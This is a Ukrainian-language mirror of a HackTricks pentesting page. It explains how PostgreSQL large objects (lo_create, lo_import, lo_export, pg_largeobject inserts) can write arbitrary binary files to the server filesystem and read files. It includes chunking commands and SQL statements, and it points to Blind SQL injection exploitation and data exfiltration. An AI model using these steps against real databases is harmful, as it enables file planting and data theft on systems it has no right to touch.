mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
66 lines
5.0 KiB
Markdown
66 lines
5.0 KiB
Markdown
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
### PostgreSQL Великі Об'єкти
|
||
|
||
PostgreSQL пропонує структуру, відому як **великі об'єкти**, доступну через таблицю `pg_largeobject`, призначену для зберігання великих типів даних, таких як зображення або PDF-документи. Цей підхід є вигіднішим у порівнянні з функцією `COPY TO`, оскільки він дозволяє **експортувати дані назад до файлової системи**, забезпечуючи точну копію оригінального файлу.
|
||
|
||
Для **зберігання повного файлу** в цій таблиці, об'єкт повинен бути створений у таблиці `pg_largeobject` (ідентифікований за LOID), після чого дані розбиваються на частини, кожна з яких має розмір 2KB, і вставляються в цей об'єкт. Важливо, щоб ці частини мали точно 2KB в розмірі (з можливим винятком останньої частини), щоб функція експорту працювала правильно.
|
||
|
||
Щоб **поділити ваші бінарні дані** на частини по 2KB, можна виконати такі команди:
|
||
```bash
|
||
split -b 2048 your_file # Creates 2KB sized files
|
||
```
|
||
Для кодування кожного файлу в Base64 або Hex можна використовувати такі команди:
|
||
```bash
|
||
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
|
||
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
||
```
|
||
**Важливо**: При автоматизації цього процесу переконайтеся, що надсилаєте частини по 2 КБ чистих байтів. Файли в шістнадцятковому кодуванні вимагатимуть 4 КБ даних на частину через подвоєння розміру, тоді як файли в кодуванні Base64 слідують формулі `ceil(n / 3) * 4`.
|
||
|
||
Вміст великих об'єктів можна переглядати для налагодження за допомогою:
|
||
```sql
|
||
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||
```
|
||
#### Використання `lo_creat` та Base64
|
||
|
||
Щоб зберегти бінарні дані, спочатку створюється LOID:
|
||
```sql
|
||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||
```
|
||
У ситуаціях, що вимагають точного контролю, таких як експлуатація Blind SQL Injection, `lo_create` віддається перевага для вказівки фіксованого LOID.
|
||
|
||
Частини даних можна вставити наступним чином:
|
||
```sql
|
||
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
|
||
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
|
||
|
||
```
|
||
Щоб експортувати та потенційно видалити великий об'єкт після використання:
|
||
```sql
|
||
SELECT lo_export(173454, '/tmp/your_file');
|
||
SELECT lo_unlink(173454); -- Deletes the specified large object
|
||
```
|
||
#### Використання `lo_import` та Hex
|
||
|
||
Функція `lo_import` може бути використана для створення та вказівки LOID для великого об'єкта:
|
||
```sql
|
||
select lo_import('/path/to/file');
|
||
select lo_import('/path/to/file', 173454);
|
||
```
|
||
Після створення об'єкта дані вставляються по сторінках, забезпечуючи, щоб кожен фрагмент не перевищував 2 КБ:
|
||
```sql
|
||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
||
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
||
```
|
||
Щоб завершити процес, дані експортуються, а великий об'єкт видаляється:
|
||
```sql
|
||
select lo_export(173454, '/path/to/your_file');
|
||
select lo_unlink(173454); -- Deletes the specified large object
|
||
```
|
||
### Обмеження
|
||
|
||
Зазначено, що **великі об'єкти можуть мати ACL** (Списки контролю доступу), що потенційно обмежує доступ навіть до об'єктів, створених вашим користувачем. Однак старі об'єкти з ліберальними ACL все ще можуть бути доступні для ексфільтрації вмісту.
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|